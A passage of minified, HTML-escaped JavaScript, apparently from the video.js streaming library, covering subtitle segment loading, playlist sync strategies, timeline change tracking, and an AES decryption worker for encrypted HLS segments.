0!==offset&amp;&amp;this.audioBuffer&amp;&amp;this.audioTimestampOffset_!==offset&amp;&amp;(pushQueue({type:&quot;audio&quot;,sourceUpdater:this,action:actions_timestampOffset(offset),name:&quot;timestampOffset&quot;}),this.audioTimestampOffset_=offset),this.audioTimestampOffset_},_proto.videoTimestampOffset=function(offset){return void 0!==offset&amp;&amp;this.videoBuffer&amp;&amp;this.videoTimestampOffset!==offset&amp;&amp;(pushQueue({type:&quot;video&quot;,sourceUpdater:this,action:actions_timestampOffset(offset),name:&quot;timestampOffset&quot;}),this.videoTimestampOffset_=offset),this.videoTimestampOffset_},_proto.audioQueueCallback=function(callback){this.audioBuffer&amp;&amp;pushQueue({type:&quot;audio&quot;,sourceUpdater:this,action:actions_callback(callback),name:&quot;callback&quot;})},_proto.videoQueueCallback=function(callback){this.videoBuffer&amp;&amp;pushQueue({type:&quot;video&quot;,sourceUpdater:this,action:actions_callback(callback),name:&quot;callback&quot;})},_proto.dispose=function(){var _this4=this;this.trigger(&quot;dispose&quot;),bufferTypes.forEach((function(type){_this4.abort(type),_this4.canRemoveSourceBuffer()?_this4.removeSourceBuffer(type):_this4[type+&quot;QueueCallback&quot;]((function(){return cleanupBuffer(type,_this4)}))})),this.videoAppendQueued_=!1,this.delayedAudioAppendQueue_.length=0,this.sourceopenListener_&amp;&amp;this.mediaSource.removeEventListener(&quot;sourceopen&quot;,this.sourceopenListener_),this.off()},SourceUpdater}(videojs.EventTarget),uint8ToUtf8=function(uintArray){return decodeURIComponent(escape(String.fromCharCode.apply(null,uintArray)))},VTT_LINE_TERMINATORS=new Uint8Array(&quot;\n\n&quot;.split(&quot;&quot;).map((function(_char3){return _char3.charCodeAt(0)}))),VTTSegmentLoader=function(_SegmentLoader){function VTTSegmentLoader(settings,options){var _this;return void 0===options&amp;&amp;(options={}),(_this=_SegmentLoader.call(this,settings,options)||this).mediaSource_=null,_this.subtitlesTrack_=null,_this.loaderType_=&quot;subtitle&quot;,_this.featuresNativeTextTracks_=settings.featuresNativeTextTracks,_this.shouldSaveSegmentTimingInfo_=!1,_this}inheritsLoose(VTTSegmentLoader,_SegmentLoader);var _proto=VTTSegmentLoader.prototype;return _proto.createTransmuxer_=function(){return null},_proto.buffered_=function(){if(!this.subtitlesTrack_||!this.subtitlesTrack_.cues||!this.subtitlesTrack_.cues.length)return videojs.createTimeRanges();var cues=this.subtitlesTrack_.cues,start=cues[0].startTime,end=cues[cues.length-1].startTime;return videojs.createTimeRanges([[start,end]])},_proto.initSegmentForMap=function(map,set){if(void 0===set&amp;&amp;(set=!1),!map)return null;var id=initSegmentId(map),storedMap=this.initSegments_[id];if(set&amp;&amp;!storedMap&amp;&amp;map.bytes){var combinedByteLength=VTT_LINE_TERMINATORS.byteLength+map.bytes.byteLength,combinedSegment=new Uint8Array(combinedByteLength);combinedSegment.set(map.bytes),combinedSegment.set(VTT_LINE_TERMINATORS,map.bytes.byteLength),this.initSegments_[id]=storedMap={resolvedUri:map.resolvedUri,byterange:map.byterange,bytes:combinedSegment}}return storedMap||map},_proto.couldBeginLoading_=function(){return this.playlist_&amp;&amp;this.subtitlesTrack_&amp;&amp;!this.paused()},_proto.init_=function(){return this.state=&quot;READY&quot;,this.resetEverything(),this.monitorBuffer_()},_proto.track=function(_track){return void 0===_track||(this.subtitlesTrack_=_track,&quot;INIT&quot;===this.state&amp;&amp;this.couldBeginLoading_()&amp;&amp;this.init_()),this.subtitlesTrack_},_proto.remove=function(start,end){removeCuesFromTrack(start,end,this.subtitlesTrack_)},_proto.fillBuffer_=function(){var _this2=this,segmentInfo=this.chooseNextRequest_();if(segmentInfo){if(null===this.syncController_.timestampOffsetForTimeline(segmentInfo.timeline)){return this.syncController_.one(&quot;timestampoffset&quot;,(function(){_this2.state=&quot;READY&quot;,_this2.paused()||_this2.monitorBuffer_()})),void(this.state=&quot;WAITING_ON_TIMELINE&quot;)}this.loadSegment_(segmentInfo)}},_proto.timestampOffsetForSegment_=function(){return null},_proto.chooseNextRequest_=function(){return this.skipEmptySegments_(_SegmentLoader.prototype.chooseNextRequest_.call(this))},_proto.skipEmptySegments_=function(segmentInfo){for(;segmentInfo&amp;&amp;segmentInfo.segment.empty;){if(segmentInfo.mediaIndex+1&gt;=segmentInfo.playlist.segments.length){segmentInfo=null;break}segmentInfo=this.generateSegmentInfo_({playlist:segmentInfo.playlist,mediaIndex:segmentInfo.mediaIndex+1,startOfSegment:segmentInfo.startOfSegment+segmentInfo.duration,isSyncRequest:segmentInfo.isSyncRequest})}return segmentInfo},_proto.stopForError=function(error){this.error(error),this.state=&quot;READY&quot;,this.pause(),this.trigger(&quot;error&quot;)},_proto.segmentRequestFinished_=function(error,simpleSegment,result){var _this3=this;if(this.subtitlesTrack_){if(this.saveTransferStats_(simpleSegment.stats),!this.pendingSegment_)return this.state=&quot;READY&quot;,void(this.mediaRequestsAborted+=1);if(error)return error.code===REQUEST_ERRORS_TIMEOUT&amp;&amp;this.handleTimeout_(),error.code===REQUEST_ERRORS_ABORTED?this.mediaRequestsAborted+=1:this.mediaRequestsErrored+=1,void this.stopForError(error);var segmentInfo=this.pendingSegment_;this.saveBandwidthRelatedStats_(segmentInfo.duration,simpleSegment.stats),this.state=&quot;APPENDING&quot;,this.trigger(&quot;appending&quot;);var segment=segmentInfo.segment;if(segment.map&amp;&amp;(segment.map.bytes=simpleSegment.map.bytes),segmentInfo.bytes=simpleSegment.bytes,&quot;function&quot;!=typeof window.WebVTT&amp;&amp;this.subtitlesTrack_&amp;&amp;this.subtitlesTrack_.tech_){var loadHandler,errorHandler=function(){_this3.subtitlesTrack_.tech_.off(&quot;vttjsloaded&quot;,loadHandler),_this3.stopForError({message:&quot;Error loading vtt.js&quot;})};return loadHandler=function(){_this3.subtitlesTrack_.tech_.off(&quot;vttjserror&quot;,errorHandler),_this3.segmentRequestFinished_(error,simpleSegment,result)},this.state=&quot;WAITING_ON_VTTJS&quot;,this.subtitlesTrack_.tech_.one(&quot;vttjsloaded&quot;,loadHandler),void this.subtitlesTrack_.tech_.one(&quot;vttjserror&quot;,errorHandler)}segment.requested=!0;try{this.parseVTTCues_(segmentInfo)}catch(e){return void this.stopForError({message:e.message})}if(this.updateTimeMapping_(segmentInfo,this.syncController_.timelines[segmentInfo.timeline],this.playlist_),segmentInfo.cues.length?segmentInfo.timingInfo={start:segmentInfo.cues[0].startTime,end:segmentInfo.cues[segmentInfo.cues.length-1].endTime}:segmentInfo.timingInfo={start:segmentInfo.startOfSegment,end:segmentInfo.startOfSegment+segmentInfo.duration},segmentInfo.isSyncRequest)return this.trigger(&quot;syncinfoupdate&quot;),this.pendingSegment_=null,void(this.state=&quot;READY&quot;);segmentInfo.byteLength=segmentInfo.bytes.byteLength,this.mediaSecondsLoaded+=segment.duration,segmentInfo.cues.forEach((function(cue){_this3.subtitlesTrack_.addCue(_this3.featuresNativeTextTracks_?new window.VTTCue(cue.startTime,cue.endTime,cue.text):cue)})),function(track){var cues=track.cues;if(cues)for(var i=0;i&lt;cues.length;i++){for(var duplicates=[],occurrences=0,j=0;j&lt;cues.length;j++)cues[i].startTime===cues[j].startTime&amp;&amp;cues[i].endTime===cues[j].endTime&amp;&amp;cues[i].text===cues[j].text&amp;&amp;++occurrences&gt;1&amp;&amp;duplicates.push(cues[j]);duplicates.length&amp;&amp;duplicates.forEach((function(dupe){return track.removeCue(dupe)}))}}(this.subtitlesTrack_),this.handleAppendsDone_()}else this.state=&quot;READY&quot;},_proto.handleData_=function(){},_proto.updateTimingInfoEnd_=function(){},_proto.parseVTTCues_=function(segmentInfo){var decoder,decodeBytesToString=!1;&quot;function&quot;==typeof window.TextDecoder?decoder=new window.TextDecoder(&quot;utf8&quot;):(decoder=window.WebVTT.StringDecoder(),decodeBytesToString=!0);var parser=new window.WebVTT.Parser(window,window.vttjs,decoder);if(segmentInfo.cues=[],segmentInfo.timestampmap={MPEGTS:0,LOCAL:0},parser.oncue=segmentInfo.cues.push.bind(segmentInfo.cues),parser.ontimestampmap=function(map){segmentInfo.timestampmap=map},parser.onparsingerror=function(error){videojs.log.warn(&quot;Error encountered when parsing cues: &quot;+error.message)},segmentInfo.segment.map){var mapData=segmentInfo.segment.map.bytes;decodeBytesToString&amp;&amp;(mapData=uint8ToUtf8(mapData)),parser.parse(mapData)}var segmentData=segmentInfo.bytes;decodeBytesToString&amp;&amp;(segmentData=uint8ToUtf8(segmentData)),parser.parse(segmentData),parser.flush()},_proto.updateTimeMapping_=function(segmentInfo,mappingObj,playlist){var segment=segmentInfo.segment;if(mappingObj)if(segmentInfo.cues.length){var timestampmap=segmentInfo.timestampmap,diff=timestampmap.MPEGTS/clock_1-timestampmap.LOCAL+mappingObj.mapping;if(segmentInfo.cues.forEach((function(cue){cue.startTime+=diff,cue.endTime+=diff})),!playlist.syncInfo){var firstStart=segmentInfo.cues[0].startTime,lastStart=segmentInfo.cues[segmentInfo.cues.length-1].startTime;playlist.syncInfo={mediaSequence:playlist.mediaSequence+segmentInfo.mediaIndex,time:Math.min(firstStart,lastStart-segment.duration)}}}else segment.empty=!0},VTTSegmentLoader}(SegmentLoader),findAdCue=function(track,mediaTime){for(var cues=track.cues,i=0;i&lt;cues.length;i++){var cue=cues[i];if(mediaTime&gt;=cue.adStartTime&amp;&amp;mediaTime&lt;=cue.adEndTime)return cue}return null},syncPointStrategies=[{name:&quot;VOD&quot;,run:function(syncController,playlist,duration,currentTimeline,currentTime){if(duration!==1/0){return{time:0,segmentIndex:0,partIndex:null}}return null}},{name:&quot;ProgramDateTime&quot;,run:function(syncController,playlist,duration,currentTimeline,currentTime){if(!Object.keys(syncController.timelineToDatetimeMappings).length)return null;var syncPoint=null,lastDistance=null,partsAndSegments=getPartsAndSegments(playlist);currentTime=currentTime||0;for(var i=0;i&lt;partsAndSegments.length;i++){var partAndSegment=partsAndSegments[playlist.endList||0===currentTime?i:partsAndSegments.length-(i+1)],segment=partAndSegment.segment,datetimeMapping=syncController.timelineToDatetimeMappings[segment.timeline];if(datetimeMapping&amp;&amp;segment.dateTimeObject){var start=segment.dateTimeObject.getTime()/1e3+datetimeMapping;if(segment.parts&amp;&amp;&quot;number&quot;==typeof partAndSegment.partIndex)for(var z=0;z&lt;partAndSegment.partIndex;z++)start+=segment.parts[z].duration;var distance=Math.abs(currentTime-start);if(null!==lastDistance&amp;&amp;(0===distance||lastDistance&lt;distance))break;lastDistance=distance,syncPoint={time:start,segmentIndex:partAndSegment.segmentIndex,partIndex:partAndSegment.partIndex}}}return syncPoint}},{name:&quot;Segment&quot;,run:function(syncController,playlist,duration,currentTimeline,currentTime){var syncPoint=null,lastDistance=null;currentTime=currentTime||0;for(var partsAndSegments=getPartsAndSegments(playlist),i=0;i&lt;partsAndSegments.length;i++){var partAndSegment=partsAndSegments[playlist.endList||0===currentTime?i:partsAndSegments.length-(i+1)],segment=partAndSegment.segment,start=partAndSegment.part&amp;&amp;partAndSegment.part.start||segment&amp;&amp;segment.start;if(segment.timeline===currentTimeline&amp;&amp;void 0!==start){var distance=Math.abs(currentTime-start);if(null!==lastDistance&amp;&amp;lastDistance&lt;distance)break;(!syncPoint||null===lastDistance||lastDistance&gt;=distance)&amp;&amp;(lastDistance=distance,syncPoint={time:start,segmentIndex:partAndSegment.segmentIndex,partIndex:partAndSegment.partIndex})}}return syncPoint}},{name:&quot;Discontinuity&quot;,run:function(syncController,playlist,duration,currentTimeline,currentTime){var syncPoint=null;if(currentTime=currentTime||0,playlist.discontinuityStarts&amp;&amp;playlist.discontinuityStarts.length)for(var lastDistance=null,i=0;i&lt;playlist.discontinuityStarts.length;i++){var segmentIndex=playlist.discontinuityStarts[i],discontinuity=playlist.discontinuitySequence+i+1,discontinuitySync=syncController.discontinuities[discontinuity];if(discontinuitySync){var distance=Math.abs(currentTime-discontinuitySync.time);if(null!==lastDistance&amp;&amp;lastDistance&lt;distance)break;(!syncPoint||null===lastDistance||lastDistance&gt;=distance)&amp;&amp;(lastDistance=distance,syncPoint={time:discontinuitySync.time,segmentIndex:segmentIndex,partIndex:null})}}return syncPoint}},{name:&quot;Playlist&quot;,run:function(syncController,playlist,duration,currentTimeline,currentTime){return playlist.syncInfo?{time:playlist.syncInfo.time,segmentIndex:playlist.syncInfo.mediaSequence-playlist.mediaSequence,partIndex:null}:null}}],SyncController=function(_videojs$EventTarget){function SyncController(options){var _this;return(_this=_videojs$EventTarget.call(this)||this).timelines=[],_this.discontinuities=[],_this.timelineToDatetimeMappings={},_this.logger_=logger(&quot;SyncController&quot;),_this}inheritsLoose(SyncController,_videojs$EventTarget);var _proto=SyncController.prototype;return _proto.getSyncPoint=function(playlist,duration,currentTimeline,currentTime){var syncPoints=this.runStrategies_(playlist,duration,currentTimeline,currentTime);return syncPoints.length?this.selectSyncPoint_(syncPoints,{key:&quot;time&quot;,value:currentTime}):null},_proto.getExpiredTime=function(playlist,duration){if(!playlist||!playlist.segments)return null;var syncPoints=this.runStrategies_(playlist,duration,playlist.discontinuitySequence,0);if(!syncPoints.length)return null;var syncPoint=this.selectSyncPoint_(syncPoints,{key:&quot;segmentIndex&quot;,value:0});return syncPoint.segmentIndex&gt;0&amp;&amp;(syncPoint.time*=-1),Math.abs(syncPoint.time+sumDurations({defaultDuration:playlist.targetDuration,durationList:playlist.segments,startIndex:syncPoint.segmentIndex,endIndex:0}))},_proto.runStrategies_=function(playlist,duration,currentTimeline,currentTime){for(var syncPoints=[],i=0;i&lt;syncPointStrategies.length;i++){var strategy=syncPointStrategies[i],syncPoint=strategy.run(this,playlist,duration,currentTimeline,currentTime);syncPoint&amp;&amp;(syncPoint.strategy=strategy.name,syncPoints.push({strategy:strategy.name,syncPoint:syncPoint}))}return syncPoints},_proto.selectSyncPoint_=function(syncPoints,target){for(var bestSyncPoint=syncPoints[0].syncPoint,bestDistance=Math.abs(syncPoints[0].syncPoint[target.key]-target.value),bestStrategy=syncPoints[0].strategy,i=1;i&lt;syncPoints.length;i++){var newDistance=Math.abs(syncPoints[i].syncPoint[target.key]-target.value);newDistance&lt;bestDistance&amp;&amp;(bestDistance=newDistance,bestSyncPoint=syncPoints[i].syncPoint,bestStrategy=syncPoints[i].strategy)}return this.logger_(&quot;syncPoint for [&quot;+target.key+&quot;: &quot;+target.value+&quot;] chosen with strategy [&quot;+bestStrategy+&quot;]: [time:&quot;+bestSyncPoint.time+&quot;, segmentIndex:&quot;+bestSyncPoint.segmentIndex+(&quot;number&quot;==typeof bestSyncPoint.partIndex?&quot;,partIndex:&quot;+bestSyncPoint.partIndex:&quot;&quot;)+&quot;]&quot;),bestSyncPoint},_proto.saveExpiredSegmentInfo=function(oldPlaylist,newPlaylist){var mediaSequenceDiff=newPlaylist.mediaSequence-oldPlaylist.mediaSequence;if(mediaSequenceDiff&gt;86400)videojs.log.warn(&quot;Not saving expired segment info. Media sequence gap &quot;+mediaSequenceDiff+&quot; is too large.&quot;);else for(var i=mediaSequenceDiff-1;i&gt;=0;i--){var lastRemovedSegment=oldPlaylist.segments[i];if(lastRemovedSegment&amp;&amp;void 0!==lastRemovedSegment.start){newPlaylist.syncInfo={mediaSequence:oldPlaylist.mediaSequence+i,time:lastRemovedSegment.start},this.logger_(&quot;playlist refresh sync: [time:&quot;+newPlaylist.syncInfo.time+&quot;, mediaSequence: &quot;+newPlaylist.syncInfo.mediaSequence+&quot;]&quot;),this.trigger(&quot;syncinfoupdate&quot;);break}}},_proto.setDateTimeMappingForStart=function(playlist){if(this.timelineToDatetimeMappings={},playlist.segments&amp;&amp;playlist.segments.length&amp;&amp;playlist.segments[0].dateTimeObject){var firstSegment=playlist.segments[0],playlistTimestamp=firstSegment.dateTimeObject.getTime()/1e3;this.timelineToDatetimeMappings[firstSegment.timeline]=-playlistTimestamp}},_proto.saveSegmentTimingInfo=function(_ref){var segmentInfo=_ref.segmentInfo,shouldSaveTimelineMapping=_ref.shouldSaveTimelineMapping,didCalculateSegmentTimeMapping=this.calculateSegmentTimeMapping_(segmentInfo,segmentInfo.timingInfo,shouldSaveTimelineMapping),segment=segmentInfo.segment;didCalculateSegmentTimeMapping&amp;&amp;(this.saveDiscontinuitySyncInfo_(segmentInfo),segmentInfo.playlist.syncInfo||(segmentInfo.playlist.syncInfo={mediaSequence:segmentInfo.playlist.mediaSequence+segmentInfo.mediaIndex,time:segment.start}));var dateTime=segment.dateTimeObject;segment.discontinuity&amp;&amp;shouldSaveTimelineMapping&amp;&amp;dateTime&amp;&amp;(this.timelineToDatetimeMappings[segment.timeline]=-dateTime.getTime()/1e3)},_proto.timestampOffsetForTimeline=function(timeline){return void 0===this.timelines[timeline]?null:this.timelines[timeline].time},_proto.mappingForTimeline=function(timeline){return void 0===this.timelines[timeline]?null:this.timelines[timeline].mapping},_proto.calculateSegmentTimeMapping_=function(segmentInfo,timingInfo,shouldSaveTimelineMapping){var start,end,segment=segmentInfo.segment,part=segmentInfo.part,mappingObj=this.timelines[segmentInfo.timeline];if(&quot;number&quot;==typeof segmentInfo.timestampOffset)mappingObj={time:segmentInfo.startOfSegment,mapping:segmentInfo.startOfSegment-timingInfo.start},shouldSaveTimelineMapping&amp;&amp;(this.timelines[segmentInfo.timeline]=mappingObj,this.trigger(&quot;timestampoffset&quot;),this.logger_(&quot;time mapping for timeline &quot;+segmentInfo.timeline+&quot;: [time: &quot;+mappingObj.time+&quot;] [mapping: &quot;+mappingObj.mapping+&quot;]&quot;)),start=segmentInfo.startOfSegment,end=timingInfo.end+mappingObj.mapping;else{if(!mappingObj)return!1;start=timingInfo.start+mappingObj.mapping,end=timingInfo.end+mappingObj.mapping}return part&amp;&amp;(part.start=start,part.end=end),(!segment.start||start&lt;segment.start)&amp;&amp;(segment.start=start),segment.end=end,!0},_proto.saveDiscontinuitySyncInfo_=function(segmentInfo){var playlist=segmentInfo.playlist,segment=segmentInfo.segment;if(segment.discontinuity)this.discontinuities[segment.timeline]={time:segment.start,accuracy:0};else if(playlist.discontinuityStarts&amp;&amp;playlist.discontinuityStarts.length)for(var i=0;i&lt;playlist.discontinuityStarts.length;i++){var segmentIndex=playlist.discontinuityStarts[i],discontinuity=playlist.discontinuitySequence+i+1,mediaIndexDiff=segmentIndex-segmentInfo.mediaIndex,accuracy=Math.abs(mediaIndexDiff);if(!this.discontinuities[discontinuity]||this.discontinuities[discontinuity].accuracy&gt;accuracy){var time=void 0;time=mediaIndexDiff&lt;0?segment.start-sumDurations({defaultDuration:playlist.targetDuration,durationList:playlist.segments,startIndex:segmentInfo.mediaIndex,endIndex:segmentIndex}):segment.end+sumDurations({defaultDuration:playlist.targetDuration,durationList:playlist.segments,startIndex:segmentInfo.mediaIndex+1,endIndex:segmentIndex}),this.discontinuities[discontinuity]={time:time,accuracy:accuracy}}}},_proto.dispose=function(){this.trigger(&quot;dispose&quot;),this.off()},SyncController}(videojs.EventTarget),TimelineChangeController=function(_videojs$EventTarget){function TimelineChangeController(){var _this;return(_this=_videojs$EventTarget.call(this)||this).pendingTimelineChanges_={},_this.lastTimelineChanges_={},_this}inheritsLoose(TimelineChangeController,_videojs$EventTarget);var _proto=TimelineChangeController.prototype;return _proto.clearPendingTimelineChange=function(type){this.pendingTimelineChanges_[type]=null,this.trigger(&quot;pendingtimelinechange&quot;)},_proto.pendingTimelineChange=function(_ref){var type=_ref.type,from=_ref.from,to=_ref.to;return&quot;number&quot;==typeof from&amp;&amp;&quot;number&quot;==typeof to&amp;&amp;(this.pendingTimelineChanges_[type]={type:type,from:from,to:to},this.trigger(&quot;pendingtimelinechange&quot;)),this.pendingTimelineChanges_[type]},_proto.lastTimelineChange=function(_ref2){var type=_ref2.type,from=_ref2.from,to=_ref2.to;return&quot;number&quot;==typeof from&amp;&amp;&quot;number&quot;==typeof to&amp;&amp;(this.lastTimelineChanges_[type]={type:type,from:from,to:to},delete this.pendingTimelineChanges_[type],this.trigger(&quot;timelinechange&quot;)),this.lastTimelineChanges_[type]},_proto.dispose=function(){this.trigger(&quot;dispose&quot;),this.pendingTimelineChanges_={},this.lastTimelineChanges_={},this.off()},TimelineChangeController}(videojs.EventTarget),workerCode=transform(getWorkerString((function(){function createCommonjsModule(fn,basedir,module){return fn(module={path:basedir,exports:{},require:function(path,base){return function(){throw new Error(&quot;Dynamic requires are not currently supported by @rollup/plugin-commonjs&quot;)}(null==base&amp;&amp;module.path)}},module.exports),module.exports}var createClass=createCommonjsModule((function(module){function _defineProperties(target,props){for(var i=0;i&lt;props.length;i++){var descriptor=props[i];descriptor.enumerable=descriptor.enumerable||!1,descriptor.configurable=!0,&quot;value&quot;in descriptor&amp;&amp;(descriptor.writable=!0),Object.defineProperty(target,descriptor.key,descriptor)}}module.exports=function(Constructor,protoProps,staticProps){return protoProps&amp;&amp;_defineProperties(Constructor.prototype,protoProps),staticProps&amp;&amp;_defineProperties(Constructor,staticProps),Constructor},module.exports.default=module.exports,module.exports.__esModule=!0})),setPrototypeOf=createCommonjsModule((function(module){function _setPrototypeOf(o,p){return module.exports=_setPrototypeOf=Object.setPrototypeOf||function(o,p){return o.__proto__=p,o},module.exports.default=module.exports,module.exports.__esModule=!0,_setPrototypeOf(o,p)}module.exports=_setPrototypeOf,module.exports.default=module.exports,module.exports.__esModule=!0})),inheritsLoose=createCommonjsModule((function(module){module.exports=function(subClass,superClass){subClass.prototype=Object.create(superClass.prototype),subClass.prototype.constructor=subClass,setPrototypeOf(subClass,superClass)},module.exports.default=module.exports,module.exports.__esModule=!0})),Stream=function(){function Stream(){this.listeners={}}var _proto=Stream.prototype;return _proto.on=function(type,listener){this.listeners[type]||(this.listeners[type]=[]),this.listeners[type].push(listener)},_proto.off=function(type,listener){if(!this.listeners[type])return!1;var index=this.listeners[type].indexOf(listener);return this.listeners[type]=this.listeners[type].slice(0),this.listeners[type].splice(index,1),index&gt;-1},_proto.trigger=function(type){var callbacks=this.listeners[type];if(callbacks)if(2===arguments.length)for(var length=callbacks.length,i=0;i&lt;length;++i)callbacks[i].call(this,arguments[1]);else for(var args=Array.prototype.slice.call(arguments,1),_length=callbacks.length,_i=0;_i&lt;_length;++_i)callbacks[_i].apply(this,args)},_proto.dispose=function(){this.listeners={}},_proto.pipe=function(destination){this.on(&quot;data&quot;,(function(data){destination.push(data)}))},Stream}();
/*! @name aes-decrypter @version 3.1.2 @license Apache-2.0 */
var aesTables=null,AES=function(){function AES(key){var i,j,tmp;aesTables||(aesTables=function(){var i,x,xInv,x2,x4,s,tEnc,tDec,tables=[[[],[],[],[],[]],[[],[],[],[],[]]],encTable=tables[0],decTable=tables[1],sbox=encTable[4],sboxInv=decTable[4],d=[],th=[];for(i=0;i&lt;256;i++)th[(d[i]=i&lt;&lt;1^283*(i&gt;&gt;7))^i]=i;for(x=xInv=0;!sbox[x];x^=x2||1,xInv=th[xInv]||1)for(s=(s=xInv^xInv&lt;&lt;1^xInv&lt;&lt;2^xInv&lt;&lt;3^xInv&lt;&lt;4)&gt;&gt;8^255&amp;s^99,sbox[x]=s,sboxInv[s]=x,tDec=16843009*d[x4=d[x2=d[x]]]^65537*x4^257*x2^16843008*x,tEnc=257*d[s]^16843008*s,i=0;i&lt;4;i++)encTable[i][x]=tEnc=tEnc&lt;&lt;24^tEnc&gt;&gt;&gt;8,decTable[i][s]=tDec=tDec&lt;&lt;24^tDec&gt;&gt;&gt;8;for(i=0;i&lt;5;i++)encTable[i]=encTable[i].slice(0),decTable[i]=decTable[i].slice(0);return tables}()),this._tables=[[aesTables[0][0].slice(),aesTables[0][1].slice(),aesTables[0][2].slice(),aesTables[0][3].slice(),aesTables[0][4].slice()],[aesTables[1][0].slice(),aesTables[1][1].slice(),aesTables[1][2].slice(),aesTables[1][3].slice(),aesTables[1][4].slice()]];var sbox=this._tables[0][4],decTable=this._tables[1],keyLen=key.length,rcon=1;if(4!==keyLen&amp;&amp;6!==keyLen&amp;&amp;8!==keyLen)throw new Error(&quot;Invalid aes key size&quot;);var encKey=key.slice(0),decKey=[];for(this._key=[encKey,decKey],i=keyLen;i&lt;4*keyLen+28;i++)tmp=encKey[i-1],(i%keyLen==0||8===keyLen&amp;&amp;i%keyLen==4)&amp;&amp;(tmp=sbox[tmp&gt;&gt;&gt;24]&lt;&lt;24^sbox[tmp&gt;&gt;16&amp;255]&lt;&lt;16^sbox[tmp&gt;&gt;8&amp;255]&lt;&lt;8^sbox[255&amp;tmp],i%keyLen==0&amp;&amp;(tmp=tmp&lt;&lt;8^tmp&gt;&gt;&gt;24^rcon&lt;&lt;24,rcon=rcon&lt;&lt;1^283*(rcon&gt;&gt;7))),encKey[i]=encKey[i-keyLen]^tmp;for(j=0;i;j++,i--)tmp=encKey[3&amp;j?i:i-4],decKey[j]=i&lt;=4||j&lt;4?tmp:decTable[0][sbox[tmp&gt;&gt;&gt;24]]^decTable[1][sbox[tmp&gt;&gt;16&amp;255]]^decTable[2][sbox[tmp&gt;&gt;8&amp;255]]^decTable[3][sbox[255&amp;tmp]]}return AES.prototype.decrypt=function(encrypted0,encrypted1,encrypted2,encrypted3,out,offset){var a2,b2,c2,i,key=this._key[1],a=encrypted0^key[0],b=encrypted3^key[1],c=encrypted2^key[2],d=encrypted1^key[3],nInnerRounds=key.length/4-2,kIndex=4,table=this._tables[1],table0=table[0],table1=table[1],table2=table[2],table3=table[3],sbox=table[4];for(i=0;i&lt;nInnerRounds;i++)a2=table0[a&gt;&gt;&gt;24]^table1[b&gt;&gt;16&amp;255]^table2[c&gt;&gt;8&amp;255]^table3[255&amp;d]^key[kIndex],b2=table0[b&gt;&gt;&gt;24]^table1[c&gt;&gt;16&amp;255]^table2[d&gt;&gt;8&amp;255]^table3[255&amp;a]^key[kIndex+1],c2=table0[c&gt;&gt;&gt;24]^table1[d&gt;&gt;16&amp;255]^table2[a&gt;&gt;8&amp;255]^table3[255&amp;b]^key[kIndex+2],d=table0[d&gt;&gt;&gt;24]^table1[a&gt;&gt;16&amp;255]^table2[b&gt;&gt;8&amp;255]^table3[255&amp;c]^key[kIndex+3],kIndex+=4,a=a2,b=b2,c=c2;for(i=0;i&lt;4;i++)out[(3&amp;-i)+offset]=sbox[a&gt;&gt;&gt;24]&lt;&lt;24^sbox[b&gt;&gt;16&amp;255]&lt;&lt;16^sbox[c&gt;&gt;8&amp;255]&lt;&lt;8^sbox[255&amp;d]^key[kIndex++],a2=a,a=b,b=c,c=d,d=a2},AES}(),AsyncStream=function(_Stream){function AsyncStream(){var _this;return(_this=_Stream.call(this,Stream)||this).jobs=[],_this.delay=1,_this.timeout_=null,_this}inheritsLoose(AsyncStream,_Stream);var _proto=AsyncStream.prototype;return _proto.processJob_=function(){this.jobs.shift()(),this.jobs.length?this.timeout_=setTimeout(this.processJob_.bind(this),this.delay):this.timeout_=null},_proto.push=function(job){this.jobs.push(job),this.timeout_||(this.timeout_=setTimeout(this.processJob_.bind(this),this.delay))},AsyncStream}(Stream),ntoh=function(word){return word&lt;&lt;24|(65280&amp;word)&lt;&lt;8|(16711680&amp;word)&gt;&gt;8|word&gt;&gt;&gt;24},Decrypter=function(){function Decrypter(encrypted,key,initVector,done){var step=Decrypter.STEP,encrypted32=new Int32Array(encrypted.buffer),decrypted=new Uint8Array(encrypted.byteLength),i=0;for(this.asyncStream_=new AsyncStream,this.asyncStream_.push(this.decryptChunk_(encrypted32.subarray(i,i+step),key,initVector,decrypted)),i=step;i&lt;encrypted32.length;i+=step)initVector=new Uint32Array([ntoh(encrypted32[i-4]),ntoh(encrypted32[i-3]),ntoh(encrypted32[i-2]),ntoh(encrypted32[i-1])]),this.asyncStream_.push(this.decryptChunk_(encrypted32.subarray(i,i+step),key,initVector,decrypted));this.asyncStream_.push((function(){
/*! @name pkcs7 @version 1.0.4 @license Apache-2.0 */
var padded;done(null,(padded=decrypted).subarray(0,padded.byteLength-padded[padded.byteLength-1]))}))}return Decrypter.prototype.decryptChunk_=function(encrypted,key,initVector,decrypted){return function(){var bytes=function(encrypted,key,initVector){var init0,init1,init2,init3,encrypted0,encrypted1,encrypted2,encrypted3,wordIx,encrypted32=new Int32Array(encrypted.buffer,encrypted.byteOffset,encrypted.byteLength&gt;&gt;2),decipher=new AES(Array.prototype.slice.call(key)),decrypted=new Uint8Array(encrypted.byteLength),decrypted32=new Int32Array(decrypted.buffer);for(init0=initVector[0],init1=initVector[1],init2=initVector[2],init3=initVector[3],wordIx=0;wordIx&lt;encrypted32.length;wordIx+=4)encrypted0=ntoh(encrypted32[wordIx]),encrypted1=ntoh(encrypted32[wordIx+1]),encrypted2=ntoh(encrypted32[wordIx+2]),encrypted3=ntoh(encrypted32[wordIx+3]),decipher.decrypt(encrypted0,encrypted1,encrypted2,encrypted3,decrypted32,wordIx),decrypted32[wordIx]=ntoh(decrypted32[wordIx]^init0),decrypted32[wordIx+1]=ntoh(decrypted32[wordIx+1]^init1),decrypted32[wordIx+2]=ntoh(decrypted32[wordIx+2]^init2),decrypted32[wordIx+3]=ntoh(decrypted32[wordIx+3]^init3),init0=encrypted0,init1=encrypted1,init2=encrypted2,init3=encrypted3;return decrypted}(encrypted,key,initVector);decrypted.set(bytes,encrypted.byteOffset)}},createClass(Decrypter,null,[{key:&quot;STEP&quot;,get:function(){return 32e3}}]),Decrypter}();self.onmessage=function(event){var data=event.data,encrypted=new Uint8Array(data.encrypted.bytes,data.encrypted.byteOffset,data.encrypted.byteLength),key=new Uint32Array(data.key.bytes,data.key.byteOffset,data.key.byteLength/4),iv=new Uint32Array(data.iv.bytes,data.iv.byteOffset,data.iv.byteLength/4);new Decrypter(encrypted,key,iv,(function(err,bytes){var message,transferable;self.postMessage((message={source:data.source,decrypted:bytes},transferable={},Object.keys(message).forEach((function(key){var 